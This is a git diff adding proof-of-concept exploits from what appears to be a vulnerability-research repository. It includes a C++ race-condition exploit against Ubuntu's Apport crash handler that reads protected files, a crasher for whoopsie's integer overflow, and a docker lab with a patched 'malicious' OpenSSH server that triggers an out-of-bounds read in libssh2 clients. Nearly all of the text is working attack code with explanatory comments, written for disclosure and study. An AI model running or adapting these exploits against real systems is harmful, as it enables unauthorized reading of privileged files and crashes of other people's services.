`.apport-ignore.xml` with a +// symlink at exactly the right moment. This is also good time to do +// the switcheroo on `/var/crash/.lock`. +void file_switcheroo( + const pid_t cpid, // PID of process that we are going to crash + const int inotify_fd, // File descriptor for inotify + const int homedir_fd // File descriptor for $HOME +) { + add_watch(inotify_fd, expatbuilder_cpython_, IN_OPEN | IN_ONESHOT); + + // Trigger the crash. + kill(cpid, SIGSEGV); + + // Use `poll` to wait for an inotify event. + fd_wait_for_read(inotify_fd); + + // Do the switcheroo on `.apport-ignore.xml`. It is now a symlink to the + // file that we want to read (but aren't supposed to). + const int r0 = + renameat(homedir_fd, apport_ignore_bak_name_, + homedir_fd, apport_ignore_name_); + if (unlikely(r0 < 0)) { + throw ErrorWithErrno("Rename of .apport-ignore.xml failed."); + } + + // Do the switcheroo on `/var/crash/.lock`. This is to stop the second + // Apport from deadlocking with the first. This trick works because locks + // created by lockf are only "advisory". Replace the lock file with a new + // file deactivates the lock. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n50 + const int r1 = rename(lock_bak_path_, lock_path_); + if (unlikely(r1 < 0)) { + throw ErrorWithErrno("Rename of /var/crash/.lock failed."); + } + + drain_fd(inotify_fd); +} + +// Do a `posix_spawn` of `/bin/sleep`. +pid_t TriggerApportMain::spawn_child_process() { + char prog[] = "/bin/sleep"; + char arg[] = "60s"; + char *const argv[3] = {prog, arg, 0}; + + // If we start /bin/sleep with a DBUS_SESSION_BUS_ADDRESS environment + // variable then Apport will open a socket to the specified address + // (which is controlled by this process - Mwahahaha). This enables us + // to control the timing of the attack more precisely. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266 + // Actually, I have to confess that I only included this + // DBUS_SESSION_BUS_ADDRESS bit for giggles. I am confident that I + // could get the PoC to work without it. But I did find this "feature" + // of Apport quite useful while I was investigating how Apport + // works. It enabled me to easily pause Apport while it was running, + // which was useful as a debugging feature. + const uint16_t port = getportnumber(listensock_.get()); + std::cout << "listening on port " << port << "\n"; + char dbus[128]; + snprintf( + dbus, sizeof(dbus), + "DBUS_SESSION_BUS_ADDRESS=tcp:host=127.0.0.1,bind=*,port=%d", + port + ); + char *const envp[2] = {dbus, 0}; + + pid_t cpid = 0; + const int r = posix_spawn(&cpid, "/bin/sleep", 0, 0, argv, envp); + if (r != 0) { + throw ErrorWithErrno("posix_spawn failed."); + } + + return cpid; +} + +void TriggerApportMain::run() { + // Spawn `/bin/sleep`. This is the program that we will crash. + const pid_t cpid = spawn_child_process(); + + std::cout << "/bin/sleep started with PID " << cpid << "\n"; + + create_special_files(); + + // Initialize inotify. + const AutoCloseFD inotify_fd(inotify_init1(IN_NONBLOCK | IN_CLOEXEC)); + if (inotify_fd.get() < 0) { + throw ErrorWithErrno("inotify_init1 failed"); + } + + file_switcheroo(cpid, inotify_fd.get(), homedir_fd_.get()); + + std::cout << "switcheroo done\n"; + + // Wait for Apport to connect to our socket. + fd_wait_for_read(listensock_.get()); + + sockaddr addr; + socklen_t addr_len = sizeof(addr); + memset(&addr, 0, addr_len); + const AutoCloseFD dbus_sock(accept(listensock_.get(), &addr, &addr_len)); + if (dbus_sock.get() < 0) { + throw ErrorWithErrno("accept failed"); + } + + std::cout << "socket accepted\n"; + const pid_t apport_pid = get_apport_pid(); + std::cout << "apport PID = " << apport_pid << "\n"; + + // Add a watcher for the core file getting created. + add_watch(inotify_fd.get(), var_crash_, IN_CREATE | IN_ONESHOT); + + // Close the accepted socket so that Apport will continue. + shutdown(dbus_sock.get(), SHUT_RD); + close(dbus_sock.get()); + + // Wait for a file to be created in `/var/crash`. + fd_wait_for_read(inotify_fd.get()); + drain_fd(inotify_fd.get()); + + // Now we need to wait until apport starts to write the core + // file. Unfortunately, we cannot use inotify for this because the file + // is initially owned by root, so we do not have permission to watch + // it. So we have to settle for the inelegant solution of looping + // until we can read the file. + size_t count = 0; + while (1) { + count++; + const AutoCloseFD corefile_fd(open(corefile_path_.c_str(), O_RDONLY)); + if (corefile_fd.get() >= 0) { + break; + } + } + std::cout << "count = " << count << "\n"; + + // Add a watcher for the core file getting written. + add_watch(inotify_fd.get(), corefile_path_.c_str(), IN_MODIFY | IN_ONESHOT); + + // Use `poll` to wait for an inotify event. + fd_wait_for_read(inotify_fd.get()); + drain_fd(inotify_fd.get()); + + // Change the core limit of Apport to 0:0. It is currently set to 1, + // which is another attempt to prevent Apport from getting into a + // recursive loop. This seems to be quite an obscure feature. I learned + // about it here: + // https://bugs.launchpad.net/ubuntu/+source/linux/+bug/498525/comments/3 + const struct rlimit new_limit = {0,0}; + if (prlimit(apport_pid, RLIMIT_CORE, &new_limit, 0) < 0) { + throw ErrorWithErrno("prlimit failed"); + } + + // Kill Apport. Apport sets a few signal handlers in `setup_signals`, so + // we need to choose a core-generating signal that it doesn't have a + // handler for. SIGTRAP works. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n149 + kill(apport_pid, SIGTRAP); + + // Add a watch for `/var/crash/.lock` getting opened. Otherwise we + // might accidentally delete it (in `~TriggerApportMain()`) before + // the next Apport starts up. Which will lead to it being owned by + // root, which will prevent us from running the exploit again. + add_watch(inotify_fd.get(), lock_path_, IN_OPEN | IN_ONESHOT); + fd_wait_for_read(inotify_fd.get()); + drain_fd(inotify_fd.get()); +} + +int main(int argc, char* argv[]) { + try { + // Don't place restrictions on file permissions created by this + // program. + umask(0); + + if (argc < 2) { + const char* progname = (argc > 0) ? argv[0] : "apportread"; + throw Error( + std::string("Usage: ") + progname + " " + ); + } + + // Open a TCP port. Apport will connect to this port during + // `is_closing_session`. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266 + const int listensock = create_bind_and_listen_tcp(); + + const char* targetfile = argv[1]; + const char* homedir = getenv("HOME"); + if (!homedir) { + throw Error("HOME environment variable is not set."); + } + + // Get a file descriptor for the home directory, so that we can mostly + // use the openat/renameat/... file operations. (Annoyingly, + // inotify_add_watch doesn't have a "*at" API, so we still need to use + // the full path for that.) + const int homedir_fd = open(homedir, O_PATH | O_CLOEXEC); + if (homedir_fd < 0) { + throw Error(std::string("Could not open ") + homedir); + } + + TriggerApportMain triggerApportMain( + targetfile, homedir, homedir_fd, listensock + ); + triggerApportMain.run(); + } catch (ErrorWithErrno& e) { + int err = e.getErrno(); + std::cerr << e.what() << "\n" << strerror(err) << "\n"; + exit(EXIT_FAILURE); + } catch (std::exception& e) { + std::cerr << e.what() << "\n"; + exit(EXIT_FAILURE); + } + + exit(EXIT_SUCCESS); +} diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp new file mode 100644 index 0000000..90b6033 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp @@ -0,0 +1,66 @@ +#include +#include +#include +#include +#include +#include +#include +#include "utils.hpp" + +// Proof-of-concept for CVE-2019-11476. +// "Integer overflow in parse_report (whoopsie.c:425)" +// Bug report: https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830863 +// +// The PoC works by creating a file named `/var/crash/killwhoopsie.crash`, +// just over 4GB in size. It then creates a file named +// `/var/crash/killwhoopsie.upload`, which prompts whoopsie to start +// processing the .crash file. Be aware that whoopsie will keep restarting +// and crash repeatedly until you remove the files from /var/crash. + +int main() { + try { + AutoCloseFD crash_fd( + create_file( + AT_FDCWD, "/var/crash/killwhoopsie.crash", S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + + // Create a value just under 4GB in size. + write_or_throw(crash_fd.get(), "x: ", 3); + write_repeated_buffer(crash_fd.get(), "kevwozere", 9, 0x100000000ULL - 16); + // Increase the size of the value by continuing on the next line. + // This causes an integer overflow here: + // http://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/src/whoopsie.c#L425 + write_or_throw(crash_fd.get(), "\n ", 2); + + // Interestingly, if we make `mchunkhdr` exactly 15 bytes long then the + // `value` doesn't get deallocated in `destroy_key_and_value` + // (whoopsie.c:350), because `*(char*)value == '\0'`. + const unsigned char mchunkhdr[16] = + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 'x' + }; + write_or_throw(crash_fd.get(), (const char*)mchunkhdr, sizeof(mchunkhdr)); + write_or_throw(crash_fd.get(), "\n", 1); + + // Invalid sequence so that whoopsie will error out. + write_or_throw(crash_fd.get(), "y:\n\n", 4); + + // whoopsie doesn't start reading the `.crash` file until we create the + // corresponding `.upload` file. + AutoCloseFD upload_fd( + create_file( + AT_FDCWD, "/var/crash/killwhoopsie.upload", S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + } catch (ErrorWithErrno& e) { + int err = e.getErrno(); + std::cerr << e.what() << "\n" << strerror(err) << "\n"; + exit(EXIT_FAILURE); + } catch (std::exception& e) { + std::cerr << e.what() << "\n"; + exit(EXIT_FAILURE); + } + + exit(EXIT_SUCCESS); +} diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp new file mode 100644 index 0000000..145952a --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp @@ -0,0 +1,239 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "utils.hpp" + +AutoCloseFD::~AutoCloseFD() { + close(fd_); +} + +ScanDirAt::~ScanDirAt() { + if (n_ >= 0) { + for (int i = 0; i < n_; i++) { + free(namelist_[i]); + } + free(namelist_); + } +} + +// Create a TCP socket and start listening. We will let the OS choose +// the port number. +int create_bind_and_listen_tcp() { + // Create a socket for listening on the port. + const int sock = + socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC | SOCK_NONBLOCK, 0); + if (sock < 0) { + throw ErrorWithErrno("Failed to create socket."); + } + + // Allow the port to be reused as soon as the program terminates. + int one = 1; + if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) { + throw ErrorWithErrno("Failed to set SO_REUSEADDR."); + } + + // Bind the port. + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = 0; // Ask OS to choose a port number + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // localhost + + if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + throw ErrorWithErrno("Error binding TCP socket to port."); + } + + // Start listening. + if (listen(sock, SOMAXCONN) < 0) { + throw ErrorWithErrno("listen failed."); + } + + return sock; +} + +// Find out which port number the socket is bound to. We need this because +// we asked the OS to choose the port number for us (in +// `create_bind_and_listen_tcp`, above). +uint16_t getportnumber(const int sock) { + struct sockaddr_in sin; + socklen_t len = sizeof(sin); + if (getsockname(sock, (struct sockaddr *)&sin, &len) < 0) { + throw ErrorWithErrno("getsockname failed."); + } + return ntohs(sin.sin_port); +} + +// Add an inotify watch. +int add_watch(const int inotify_fd, const char* filename, uint32_t mask) { + std::cout << "adding watch for " << filename << "\n"; + const int wd = inotify_add_watch(inotify_fd, filename, mask); + if (wd < 0) { + throw ErrorWithErrno( + std::string("inotify_add_watch of ") + filename + " failed." + ); + } + return wd; +} + +// Create a symlink: `linkname` -> `target` +// `newdirfd` is used as the current directory if `linkname` is a relative +// path. +void createSymlink( + const char* target, const int newdirfd, const char* linkname +) { + if (symlinkat(target, newdirfd, linkname) < 0) { + throw ErrorWithErrno(std::string("Could not create symlink ") + linkname); + } + std::cout << "symlink created: " << linkname << " -> " << target << "\n"; +} + +// Create a file. This function will throw an exception if the file already +// exists. +int create_file(int dirfd, const char *pathname, mode_t mode) { + const int fd = + openat(dirfd, pathname, O_CREAT | O_WRONLY | O_TRUNC | O_EXCL | O_CLOEXEC, mode); + if (fd < 0) { + throw ErrorWithErrno(std::string("Could not create ") + pathname); + } + return fd; +} + +// Write the buffer to the file descriptor. Throw an exception if something +// goes wrong. +void write_or_throw(const int fd, const char* buf, size_t buflen) { + const ssize_t n = write(fd, buf, buflen); + if (n < 0) { + throw ErrorWithErrno("write failed"); + } + if (static_cast(n) != buflen) { + throw Error("incomplete write"); + } +} + +// Create a file and write the contents of `buf` to it. This function +// will throw an exception if the file already exists. +void create_and_write_file( + int dirfd, const char *pathname, const char* buf, size_t buflen, mode_t mode +) { + const AutoCloseFD fd(create_file(dirfd, pathname, mode)); + write_or_throw(fd.get(), buf, buflen); + std::cout << "file created: " << pathname << "\n"; +} + +// Utility for writing enormous strings to a file. Repeatedly writes `msg` to +// the file until exactly `totallen` bytes have been written. (The final copy +// of `msg` might get truncated.) +void write_repeated_buffer( + const int fd, const char* msg, size_t msglen, size_t totallen +) { + // Create a large block with 4096 copies of the message, to reduce the number + // of calls to `write`. + std::string block; + block.reserve(msglen * 4096); + for (size_t i = 0; i < 4096; i++) { + block.append(msg, msglen); + } + + const char* blockptr = block.c_str(); + size_t blocksize = block.size(); + size_t pos = 0; + while (1) { + pos += blocksize; + if (pos <= totallen) { + write_or_throw(fd, blockptr, blocksize); + } else { + // The block is too big. So we need to rewind and write out a + // smaller number of bytes. + pos -= blocksize; + write_or_throw(fd, blockptr, totallen - pos); + // We are done. + return; + } + } +} + +// Use `poll` to wait for the file descriptor to be readable. +void fd_wait_for_read(const int inotify_fd) { + const nfds_t nfds = 1; + struct pollfd pollfds[1] = {0}; + pollfds[0].fd = inotify_fd; + pollfds[0].events = POLLIN; + + while (1) { + const int poll_num = poll(pollfds, nfds, -1); + if (unlikely(poll_num < 0)) { + const int err = errno; + if (err == EINTR) { + continue; + } + throw ErrorWithErrno("poll failed"); + } + + if (likely(poll_num > 0)) { + if (likely(pollfds[0].revents & POLLIN)) { + break; + } + } + } +} + +// Read all the available input on the file descriptor. (We use this to +// reset inotify after it has reported an event.) +void drain_fd(const int fd) { + char buf[4096]; + while (read(fd, buf, sizeof(buf)) > 0); +} + +// Kill a child process and wait for it. +void kill_and_wait(const pid_t cpid, const int sig) { + if (kill(cpid, sig) < 0) { + throw ErrorWithErrno("kill() failed"); + } + if (waitpid(cpid, 0, 0) < 0) { + throw ErrorWithErrno("waitpid() failed"); + } +} + +// Search `/proc/*/cmdline` to find the PID of a running program. +pid_t search_pid(const char *cmdline, size_t cmdline_len) { + AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); + if (procdir_fd.get() < 0) { + throw ErrorWithErrno("Could not open /proc."); + } + ScanDirAt scanDir(procdir_fd.get()); + + const int n = scanDir.size(); + for (int i = 0; i < n; i++) { + const char* subdir_name = scanDir.get(i); + AutoCloseFD subdir_fd( + openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) + ); + if (procdir_fd.get() < 0) { + continue; + } + AutoCloseFD cmdline_fd( + openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) + ); + if (cmdline_fd.get() < 0) { + continue; + } + + // Check if the command line matches. + char buf[0x1000]; + ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); + if (r < 0 || static_cast(r) < cmdline_len) { + continue; + } + if (memcmp(buf, cmdline, cmdline_len) == 0) { + // The name of the sub-directory is the PID. + return atoi(subdir_name); + } + } + return -1; +} diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp new file mode 100644 index 0000000..71cc0d3 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp @@ -0,0 +1,95 @@ +#include +#include +#include + +#define likely(x) __builtin_expect(!!(x), 1) +#define unlikely(x) __builtin_expect(!!(x), 0) + +// Exception class. Caught in main(). +class Error : public std::exception { + std::string msg_; + +public: + explicit Error(const char* msg) : msg_(msg) {} + explicit Error(std::string&& msg) : msg_(std::move(msg)) {} + + const char* what() const noexcept override { + return msg_.c_str(); + } +}; + +// Exception class for system errors that include an errno. Caught in +// main(). +class ErrorWithErrno : public Error { + const int err_; + +public: + explicit ErrorWithErrno(const char* msg) : Error(msg), err_(errno) {} + explicit ErrorWithErrno(std::string&& msg) : Error(std::move(msg)), err_(errno) {} + + int getErrno() const { return err_; } +}; + +// This class automatically closes the file descriptor in its destructor. +class AutoCloseFD { + const int fd_; + + AutoCloseFD() : fd_(-1) {} + +public: + explicit AutoCloseFD(const int fd) : fd_(fd) {} + ~AutoCloseFD(); + + int get() const { return fd_; } +}; + +// Automatically free a pointer that was malloc'ed. +template +class AutoFree { + T* p_; + +public: + explicit AutoFree(T* p) : p_(p) {} + ~AutoFree() { free(p_); } + + T* get() const { return p_; } +}; + +// This class creates an array containing the names of all the files in a +// directory. It does this by running `scandirat` in its constructor. +class ScanDirAt { + struct dirent **namelist_; + const int n_; + +public: + explicit ScanDirAt(int fd) + : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) + { + if (n_ < 0) { + throw ErrorWithErrno("ScanDirAt failed."); + } + } + + ~ScanDirAt(); + + int size() const { return n_; } + + const char* get(int i) const { return namelist_[i]->d_name; } +}; + +int create_bind_and_listen_tcp(); +uint16_t getportnumber(const int sock); +int add_watch(const int inotify_fd, const char* filename, uint32_t mask); +void createSymlink(const char* target, const int newdirfd, const char* linkname); +int create_file(int dirfd, const char *pathname, mode_t mode); +void write_or_throw(const int fd, const char* buf, size_t buflen); +void create_and_write_file( + int dirfd, const char *pathname, const char* buf, size_t size, mode_t mode +); +void write_repeated_buffer( + const int fd, const char* msg, size_t msglen, size_t totallen +); +void fd_wait_for_read(const int inotify_fd); +void drain_fd(const int fd); +void kill_and_wait(const pid_t cpid, const int sig); +pid_t search_pid(const char *cmdline, size_t cmdline_len); diff --git a/libssh2/out_of_bounds_read_kex_CVE-2019-13115/README.md b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/README.md new file mode 100644 index 0000000..a521136 --- /dev/null +++ b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/README.md @@ -0,0 +1,80 @@ +# Out-of-bounds read in libssh2 (CVE-2019-13115) + +[libssh2](https://www.libssh2.org/) version 1.8.2 contains a remotely triggerable out-of-bounds read, potentially leading to information disclosure. I reported this bug to libssh2-security@haxx.se on 2019-03-28. It is fixed in version [1.9.0](https://www.libssh2.org/changes.html), released on 2018-06-20. + +This directory contains a proof of concept exploit for the vulnerability. It uses [docker](https://www.docker.com/) to simulate two computers. The first is a server, running [openssh](https://www.openssh.com/) with some malicious source code modifications. The second is a client, running `libssh2`. When the client attempts to connect to server, the server sends back a malicious response which triggers a segmentation fault in the client. + +I originally developed this proof of concept to highlight a vulnerability in an incorrectly implemented bounds checking function: + +``` +int _libssh2_check_length(struct string_buf *buf, size_t len) +{ + return ((int)(buf->dataptr - buf->data) <= (int)(buf->len - len)) ? 1 : 0; +} +``` + +The above code snippet is from revision [38bf7ce](https://github.com/libssh2/libssh2/blob/38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa/src/misc.c#L814). The PoC works by making `len` greater than `buf->len + 0x80000000` so that the calculation of `(int)(buf->len - len)` overflows and becomes a very large positive number, thereby bypassing the bounds check and causing libssh2 to crash with a segmentation fault. However, I learned later that `_libssh2_check_length` was introduced on the main development branch after the release of version 1.8.2, so this vulnerable bounds check does not exist in version 1.8.2. Unfortunately, version 1.8.2 contains no bounds check whatsoever. This means that much smaller values of `len` can trigger an out-of-bounds read on version 1.8.2. If you are interested in experimenting with this, search for a variable named `evil_offset` in [`diff.txt`](server/home/diff.txt#L53) and change its value to something smaller. + +## Network setup + +Create a docker network bridge, to simulate a network with two separate computers. + +``` +docker network create -d bridge --subnet 172.18.0.0/16 libssh2-demo-network +``` + +## Server setup + +Build the docker image: + +``` +docker build server -t libssh2-server --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network libssh2-demo-network --ip=172.18.0.10 -i -t libssh2-server +``` + +Start the malicious ssh server: + +``` +sudo /usr/local/sbin/sshd # password is x +``` + +## Client setup + +Build the docker image: + +``` +docker build client -t libssh2-client --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network libssh2-demo-network --ip=172.18.0.11 -i -t libssh2-client +``` + +If you want to be able to debug libssh2 with gdb, then you need to start the container with a few extra arguments: + +``` +docker run --rm --network libssh2-demo-network --ip=172.18.0.11 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t libssh2-client +``` + +In the container, attempt to connect to the server: + +``` +cd ~/libssh2/example +./ssh2 172.18.0.10 hal x +``` + +This command crashes with a segmentation fault. + +If you would like to debug libssh2 with gdb, then start it like this: + +``` +cd ~/libssh2/example/.libs +LD_LIBRARY_PATH="/home/victim/libssh2/src/.libs:$LD_LIBRARY_PATH" gdb --args ./ssh2 172.18.0.10 hal x +``` diff --git a/libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/Dockerfile b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/Dockerfile new file mode 100644 index 0000000..b23fcba --- /dev/null +++ b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/Dockerfile @@ -0,0 +1,33 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux screen emacs git gdb net-tools psmisc \ + build-essential autoconf automake libtool g++ \ + libssl-dev + +ARG UID=1000 + +# Create a non-root user account to run Libssh2. +RUN adduser victim --disabled-password --uid $UID + +# Grant the 'victim' user sudo access. This is not used for the +# demo, but it is often handy for installing extra packages. +RUN adduser victim sudo +RUN echo "victim:x" | chpasswd +COPY home/ /home/victim/ +RUN chown -R victim:victim /home/victim + +# Switch over to the 'victim' user, since root access is no longer required +USER victim +WORKDIR /home/victim + +# Checkout and build libssh2-1.8.2 (commit 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb). +# Note: this PoC also works on commit 38bf7ce9ece3441dcf3a19f0befb5b491ed4adfa, +# which is the commit which contained the bad implementation of _libssh2_check_length. +RUN git clone https://github.com/libssh2/libssh2.git && \ + cd libssh2 && \ + git checkout 02ecf17a6d5f9837699e8fb3aad0c804caa67eeb && \ + ./buildconf && \ + ./configure && \ + make -j4 diff --git a/libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/home/.tmux.conf b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/home/.tmux.conf new file mode 100644 index 0000000..f2da785 --- /dev/null +++ b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/client/home/.tmux.conf @@ -0,0 +1,11 @@ +# Enable 256 colors +set -g default-terminal "screen-256color" + +# Enable using the mouse to switch windows. +set -g mouse on + +# Don't lose track of SSH_AGENT etc. from parent environment. +set -g update-environment -r + +# history buffer size +set-option -g history-limit 100000 diff --git a/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/Dockerfile b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/Dockerfile new file mode 100644 index 0000000..fbe6c9f --- /dev/null +++ b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/Dockerfile @@ -0,0 +1,44 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux screen emacs git gdb net-tools psmisc \ + build-essential autoconf g++ \ + libssl-dev zlib1g-dev + +ARG UID=1000 + +# Create a non-root user account to build openssh-server. +RUN adduser hal --disabled-password --uid $UID + +# Grant the 'hal' user sudo access. This is not used for the demo, +# but it is often handy for installing extra packages. +RUN adduser hal sudo +RUN echo "hal:x" | chpasswd +COPY home/ /home/hal/ +RUN chown -R hal:hal /home/hal + +# Create the sshd user +RUN mkdir /var/empty && \ + chown root:sys /var/empty && \ + chmod 755 /var/empty && \ + groupadd sshd && \ + useradd -g sshd -c 'sshd privsep' -d /var/empty -s /bin/false sshd + +# Switch over to the 'hal' user, since root access is no longer required +USER hal +WORKDIR /home/hal + +# Clone openssh, insert some malicious code, and built it. +RUN git clone https://github.com/openssh/openssh-portable.git && \ + cd openssh-portable && \ + git checkout 21da87f439b48a85b951ef1518fe85ac0273e719 && \ + git apply /home/hal/diff.txt && \ + autoreconf && \ + ./configure && \ + make + +# Install openssh. +USER root +RUN cd /home/hal/openssh-portable && make install +USER hal diff --git a/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/.tmux.conf b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/.tmux.conf new file mode 100644 index 0000000..f2da785 --- /dev/null +++ b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/.tmux.conf @@ -0,0 +1,11 @@ +# Enable 256 colors +set -g default-terminal "screen-256color" + +# Enable using the mouse to switch windows. +set -g mouse on + +# Don't lose track of SSH_AGENT etc. from parent environment. +set -g update-environment -r + +# history buffer size +set-option -g history-limit 100000 diff --git a/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/diff.txt b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/diff.txt new file mode 100644 index 0000000..02654f3 --- /dev/null +++ b/libssh2/out_of_bounds_read_kex_CVE-2019-13115/server/home/diff.txt @@ -0,0 +1,141 @@ +diff --git a/kexgexs.c b/kexgexs.c +index 8ee3aacc..8f37c421 100644 +--- a/kexgexs.c ++++ b/kexgexs.c +@@ -106,8 +106,8 @@ input_kex_dh_gex_request(int type, u_int32_t seq, struct ssh *ssh) + debug("SSH2_MSG_KEX_DH_GEX_GROUP sent"); + DH_get0_pqg(kex->dh, &dh_p, NULL, &dh_g); + if ((r = sshpkt_start(ssh, SSH2_MSG_KEX_DH_GEX_GROUP)) != 0 || +- (r = sshpkt_put_bignum2(ssh, dh_p)) != 0 || +- (r = sshpkt_put_bignum2(ssh, dh_g)) != 0 || ++ (r = sshpkt_put_bignum2_evil(ssh, dh_p)) != 0 || ++ (r = sshpkt_put_bignum2_evil(ssh, dh_g)) != 0 || + (r = sshpkt_send(ssh)) != 0) + goto out; + +diff --git a/packet.c b/packet.c +index 36e352b4..e4a1a06b 100644 +--- a/packet.c ++++ b/packet.c +@@ -2506,6 +2506,12 @@ sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v) + { + return sshbuf_put_bignum2(ssh->state->outgoing_packet, v); + } ++ ++int ++sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v) ++{ ++ return sshbuf_put_bignum2_evil(ssh->state->outgoing_packet, v); ++} + #endif /* WITH_OPENSSL */ + + /* fetch data from the incoming packet */ +diff --git a/packet.h b/packet.h +index 0dfa36da..93ea6c77 100644 +--- a/packet.h ++++ b/packet.h +@@ -190,6 +190,7 @@ int sshpkt_put_cstring(struct ssh *ssh, const void *v); + int sshpkt_put_stringb(struct ssh *ssh, const struct sshbuf *v); + int sshpkt_put_ec(struct ssh *ssh, const EC_POINT *v, const EC_GROUP *g); + int sshpkt_put_bignum2(struct ssh *ssh, const BIGNUM *v); ++int sshpkt_put_bignum2_evil(struct ssh *ssh, const BIGNUM *v); + + int sshpkt_get(struct ssh *ssh, void *valp, size_t len); + int sshpkt_get_u8(struct ssh *ssh, u_char *valp); +diff --git a/sshbuf-getput-basic.c b/sshbuf-getput-basic.c +index 50648258..34ec3be5 100644 +--- a/sshbuf-getput-basic.c ++++ b/sshbuf-getput-basic.c +@@ -362,6 +362,26 @@ sshbuf_put_string(struct sshbuf *buf, const void *v, size_t len) + return 0; + } + ++const size_t evil_offset = 0x80000200; // Edit evil offset here ++ ++int ++sshbuf_put_string_evil(struct sshbuf *buf, const void *v, size_t len) ++{ ++ u_char *d; ++ int r; ++ ++ if (len > SSHBUF_SIZE_MAX - 4) { ++ SSHBUF_DBG(("SSH_ERR_NO_BUFFER_SPACE")); ++ return SSH_ERR_NO_BUFFER_SPACE; ++ } ++ if ((r = sshbuf_reserve(buf, len + 4, &d)) < 0) ++ return r; ++ POKE_U32(d, len + evil_offset); ++ if (len != 0) ++ memcpy(d + 4, v, len); ++ return 0; ++} ++ + int + sshbuf_put_cstring(struct sshbuf *buf, const char *v) + { +diff --git a/sshbuf-getput-crypto.c b/sshbuf-getput-crypto.c +index 3dd1e144..cbf3977f 100644 +--- a/sshbuf-getput-crypto.c ++++ b/sshbuf-getput-crypto.c +@@ -148,6 +148,28 @@ sshbuf_put_bignum2(struct sshbuf *buf, const BIGNUM *v) + return 0; + } + ++int ++sshbuf_put_bignum2_evil(struct sshbuf *buf, const BIGNUM *v) ++{ ++ u_char d[SSHBUF_MAX_BIGNUM + 1]; ++ int len = BN_num_bytes(v), prepend = 0, r; ++ ++ if (len < 0 || len > SSHBUF_MAX_BIGNUM) ++ return SSH_ERR_INVALID_ARGUMENT; ++ *d = '\0'; ++ if (BN_bn2bin(v, d + 1) != len) ++ return SSH_ERR_INTERNAL_ERROR; /* Shouldn't happen */ ++ /* If MSB is set, prepend a \0 */ ++ if (len > 0 && (d[1] & 0x80) != 0) ++ prepend = 1; ++ if ((r = sshbuf_put_string_evil(buf, d + 1 - prepend, len + prepend)) < 0) { ++ explicit_bzero(d, sizeof(d)); ++ return r; ++ } ++ explicit_bzero(d, sizeof(d)); ++ return 0; ++} ++ + #ifdef OPENSSL_HAS_ECC + int + sshbuf_put_ec(struct sshbuf *buf, const EC_POINT *v, const EC_GROUP *g) +diff --git a/sshbuf.h b/sshbuf.h +index 7900b82b..f8632bcb 